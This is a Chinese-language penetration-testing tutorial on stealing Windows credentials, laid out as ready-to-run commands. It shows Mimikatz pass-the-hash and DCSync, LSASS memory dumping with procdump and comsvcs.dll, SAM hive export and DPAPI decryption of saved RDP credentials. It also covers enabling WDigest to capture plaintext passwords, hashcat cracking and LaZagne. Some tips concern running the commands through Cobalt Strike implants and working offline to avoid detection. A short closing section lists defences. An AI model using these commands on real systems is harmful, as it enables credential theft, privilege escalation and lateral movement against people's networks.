windows密码抓取 1.Mimikatz介绍 Mimikatz介绍 Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取 WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证
项目地址 https://github.com/gentilkiwi/mimikatz/
模块命令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 cls: 清屏 standard: 标准模块,基本命令 crypto: 加密相关模块 sekurlsa: 与证书相关的模块 kerberos: kerberos模块 privilege: 提权相关模块 process: 进程相关模块 serivce: 服务相关模块 lsadump: LsaDump模块 ts: 终端服务器模块 event: 事件模块 misc: 杂项模块 token: 令牌操作模块 vault: Windows 、证书模块 minesweeper:Mine Sweeper模块 net: dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口] busylight: BusyLight Module sysenv: 系统环境值模块 sid: 安全标识符模块 iis: IIS XML配置模块 rpc: mimikatz的RPC控制 sr98: 用于SR98设备和T5577目标的RF模块 rdm: RDM(830 AL)器件的射频模块 acr: ACR模块 version: 查看版本exit : 退出
常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 CRYPTO::Certificates – 列出/导出凭证。 KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。 KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。 KERBEROS::PTT – 票证传递。 LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。 LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个 接下来看几个常用的模块 sekurlsa模块 process模块 lsass.dmp的转储文件中 导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数, 如:“/name:krbtgt”。 LSADUMP::SAM ‐ 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安 全帐户管理器(SAM) 数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。 LSADUMP::Trust ‐ 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或 林转储信任密钥(密码) MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID )。 MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。 MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。 使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。 PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。 SEKURLSA::Ekeys – 列出 Kerberos 密钥 SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。 SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。 SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的 计算机的凭证。 SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over‐Pass‐the‐Hash 的实际过程就是传递了相关的 Key (s))。 SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运 行的服务和本地计算机 在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。 TOKEN::List – 列出系统中的所有令牌。 TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。 TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌
几个常用的模块
sekurlsa模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 privilege模块privilege::debug 提升为debug权限 sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息sekurlsa::msv 获取HASH (LM,NTLM)sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码sekurlsa::tspkg 通过tspkg读取明文密码sekurlsa::livessp 通过livessp 读取明文密码sekurlsa::ssp 通过ssp 读取明文密码sekurlsa::logonPasswords 通过以上各种方法读取明文密码sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息sekurlsa::minidump file 这个模块可以读取已经打包的内存信息sekurlsa::pth 哈希传递sekurlsa::pth /user :administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxxsekurlsa::pth /user :administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx
1 cs上:mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1 .txt
process模块
1 2 3 4 5 6 7 8 9 process::list 列出进程列表 process::exports 导出进程列表 process::imports 导入列表 process::start 开始一个进程 process::stop 停止一个程序 process::suspend 冻结一个进程 process::resume 从冻结中恢复 process::run notepad 运行一个程序 process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口
小tip:执行process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口,然后在这个窗口中执行cs木马,提升权限到system
kerberos模块
1 2 3 4 kerberos::list 列出系统中的票据 kerberos::tgt 清除系统中的票据 kerberos::purge 导入票据到系统中 kerberos::ptc 票据路径
lsadump模块
1 2 3 4 5 6 7 8 9 (域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等lsadump::dcsync /domain:kevin.com /user :root (在域控上执行)读取所有域用户的哈希lsadump::lsa /patch 从sam.hive和system .hive文件中获得NTLM Hashlsadump::sam /sam:sam.hive /system :system .hive 从本地SAM文件中读取密码哈希token::elevate lsadump::sam
2.离线读取SAM文件获取密码 导出sam和system文件 1、通多reg命令无工具导出(注册表中)
1 2 reg save hklm\sam sam.hive reg save hklm\system system .hive
通过cs下载到cs服务器机器上:
2、通过nishang中的Copy-VSS进行复制,如果这个脚本运行在了DC服务器上,ntds.dit 和 SYSTEM hive也能被拷贝出来
1 2 copy ‐vss copy ‐vss ‐DestinationDir 路径
读取sam和system文件获取密码 1 lsadump::sam /sam:sam.hive /system :system .hive
3.mimikatz在线读取sam和lsass获取密码 在线读取sam文件 使用mimikatz在线读取sam文件
1 2 3 4 5 6 分开的命令如下privilege: :debugtoken: elevatelsadump: :sam 连起来 mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
注意:在cs中执行加上exit 否则可能死循环
在线读取lsass进程 1 2 3 4 5 6 7 8 privilege::debug sekurlsa::msv 获取HASH (LM,NTLM) sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码 sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码 sekurlsa::tspkg 通过tspkg读取明文密码 sekurlsa::livessp 通过livessp 读取明文密码 sekurlsa::ssp 通过ssp 读取明文密码 sekurlsa::logonPasswords 通过以上各种方法读取明文密码
4.mimikatz离线读取lsass进程获取密码(重点) 参考:https://blog.csdn.net/weixin_42136837/article/details/112616369
导出lsass文件方式 1、使用任务管理器导出(windows NT 6)
前提:已经拿到3389远程桌面
2、使用procdump 导出lsass.dmp文件 ProcDump 是一个命令行实用工具 ,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序。 ProcDump 还包括使用窗口挂起 (使用相同的窗口挂起定义,Windows任务管 理器使用) 、未经处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可在其他脚本中嵌入的常规进程转储实用工具。因为是微软的所以一般不会被杀软杀掉
1 procdump.exe -accepteula -ma lsass.exe lsass.dmp
下载即可
3、使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建 进程的完整内存转储。
地址 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
1 2 Import - Module . \Out - Minidump . ps1 Get - Process lsass | Out - Minidump
4、comsvcs.dll,系统自带。
通过comsvcs.dll的导出函数MiniDump实现dump内存
1 2 3 首先查看lsass.exe进程PID: tasklist | findstr lsass.exe 使用powershell导出 rundll32 C:\windows\system32\comsvcs.dll, MiniDump 496 C:\lsass.dmp full
读取lsass.dmp文件 使用mimikatz读取lsass.dmp文件
1 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
5.使用Hashcat和在线工具破解NTLM Hash Hashcat介绍 Hashcat是一个密码恢复工具。直到2015年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法。
下载地址: https://hashcat.net/hashcat/
Hashcat的官网是Hashcat.net ,点击进去后会有两个下载选项,我们选择hashcat binaries,这个是直接可以在 Windows下运行的
使用hashcat破解NTLM Hash 1 2 3 hashcat -m 1000 NTLM HASH 字典 ‐‐force hashcat.exe -m 1000 e45a314c664d40a227f9540121d1a29d dictTest.txt --force (笔记本上可能会出现问题 硬件原因)
在线网站 https://hashes.com/zh/decrypt/hash
https://www.somd5.com/
https://www.cmd5.com/
https://md5decrypt.net/en/#answer
6.浏览器、数据库等密码的抓取 BrowserGhost浏览器抓取(不太好用) 这是一个抓取浏览器密码的工具,后续会添加更多功能,已经完成的功能如下:
实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)
用.net2 实现可兼容大部分windows,并去掉依赖(不需要System.Data.SQLite.dll这些累赘)
可以解密chrome全版本密码(chrome80版本后加密方式变了)
Chrome已经可以获取login data、cookie、history、book了
命令:BrowserGhost.exe
Sharp-HackBrowserData浏览器 Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓
命令:hack-browser-data-windows-64bit.exe
SharpDecryptPwd数据库 SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析,包括Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品
1 2 3 4 SharpDecryptPwd.exe ‐TeamViewer SharpDecryptPwd.exe ‐FileZilla SharpDecryptPwd.exe ‐WinSCP SharpDecryptPwd.exe ‐Xmangager ‐p Session_Path
LaZagne各类密码 是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算 法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。
命令:laZagne.exe all
1 2 3 4 5 6 7 8 9 laZagne.exe all laZagne.exe browsers laZagne.exe browsers ‐firefox laZagne.exe all ‐oN laZagne.exe all ‐oA ‐output C:\Users\test\Desktop laZagne.exe ‐h laZagne.exe browsers ‐h laZagne.exe all ‐vv laZagne.exe all ‐quiet ‐oA
7.Windows其他类型抓取NTLM HASH工具 getpassword 打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码
pwdump7 在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLMHash
QuarksPwDump 下载QuarksPwDump.exe,在命令行环境中输人 QuarksPwDump.exe –dump-hash-local 导出三个用户的NLMHash
nishang nishang中的 GET-PASSHashes.ps1可以可以获取hash
1 2 Import ‐Module . \Get - PassHashes . ps1 Get ‐PassHashes
wce 这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和 64位两个不同的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ‐l 列出登录的会话和NTLM凭据(默认值) ‐s 修改当前登录会话的NTLM凭据 参数:<用户名 > :<域名 > :<LM哈希 > :<NT哈希 > ‐r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次 ‐c 用一个特殊的NTML凭据运行一个新的会话 参数: ‐e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次 ‐o 保存所有的输出到一个文件 参数:<文件名 > ‐i 指定一个LUID代替使用当前登录会话 参数: ‐d 从登录会话中删除NTLM凭据 参数: ‐a 使用地址 参数: <地址 > ‐f 强制使用安全模式 ‐g 生成LM和NT的哈希 参数<密码 > ‐K 缓存kerberos票据到一个文件(unix和windows wce格式) ‐k 从一个文件中读取kerberos票据并插入到windows缓存中 ‐w 通过摘要式认证缓存一个明文的密码 ‐v 详细输出
8.Windows RDP凭证抓取和密码破解 破解原理 Credentials的解密是Windows系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),接下来我们就讲解RDP凭证的抓取和破解
在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。
凭证的查看 查看凭证命令
1 2 3 4 查看mstsc的连接记录 cmdkey /list 查找本地的Credentialsdir /a %userprofile%\appdata\local \microsoft\credentials\*
F49CBB3FE896E7F0A076E3E20D6224BE
在线破解 1、使用mimikatz获取该文件的MasterKey的guid
1 mimikatz dpapi ::cred /in :C :\Users\Administrator\appdata\local\microsoft\credentials\F49CBB3FE896E7F0A076E3E20D6224BE
以用于加密凭据文件F49CBB3FE896E7F0A076E3E20D6224BE的MasterKey的guid就是:{e6f05b31-8adb-4ae8-9951-91676a3e869c},所以我们只要从内存中找到这个guid对应的MasterKey的值即可
guid:{e6f05b31-8adb-4ae8-9951-91676a3e869c}
2、找到内存中对应的MasterKey
1 mimikatz sekurlsa::dpapi
通过guid找到对应的masterkey:6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
3、最后打开mimikatz通过MasterKey值去解密凭据文件
1 dpapi::cred /in:凭据文件路径 /m asterky:masterkey值
1 2 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local \microsoft\credentials\F49CBB3FE896E7F0A076E3E20D6224BE /masterkey:6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
离线破解(建议) 由于我们不能保证我们的mimikatz是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目 的其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。
1、下载目标内存
1 procdump.exe -accepteula -ma lsass.exe lsass1 导出lsass
2、下载目标的Credentials文件
F49CBB3FE896E7F0A076E3E20D6224BE
3、用mimikatz载入dump回来的内存
1 Sekurlsa::minidump lsass1.dump
4、获取Credentials的GUID
1 dpapi::cred /in:F49CBB3FE896E7F0A076E3E20D6224BE
{e6f05b31-8adb-4ae8-9951-91676a3e869c}
5、获取内存中所有的MasterKey
6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
6、利用MasterKey解密
1 dpapi::cred /in:F49CBB3FE896E7F0A076E3E20D6224BE /m asterkey:6 e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
9.window2018-R2之后抓取密码的方式 在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。
攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
1 2 privilege::debug 提升为debug权限 sekurlsa::logonPasswords 通过以上各种方法读取明文密码
修改注册表和锁屏 修改注册表
1 2 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
锁屏
1 2 3 4 rundll32.exe user32.dll,LockWorkStation 锁屏 query user 查询登录 logoff ID 下载
抓取密码
1 2 privilege::debug 提升为debug权限 sekurlsa::logonPasswords 通过以上各种方法读取明文密码
10.windows密码抓取防范措施 2012R2域控设置 在windows server 2012 R2中,新增了一个Protected Users 安全组,将用户加入到该组,用户的明文密码就不会 被获取
安装KB2871997 2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安 全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012 也可以更新该补丁后获得上述安全保护机制。该补丁无法阻止”哈希传递“的攻击方式,但其确实有助于是Windows 免受一些常见的攻击,例如:明文密码脱取、RDP凭据盗取、盗取本地Administrator账户进行横向移动。
修改注册表 1 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭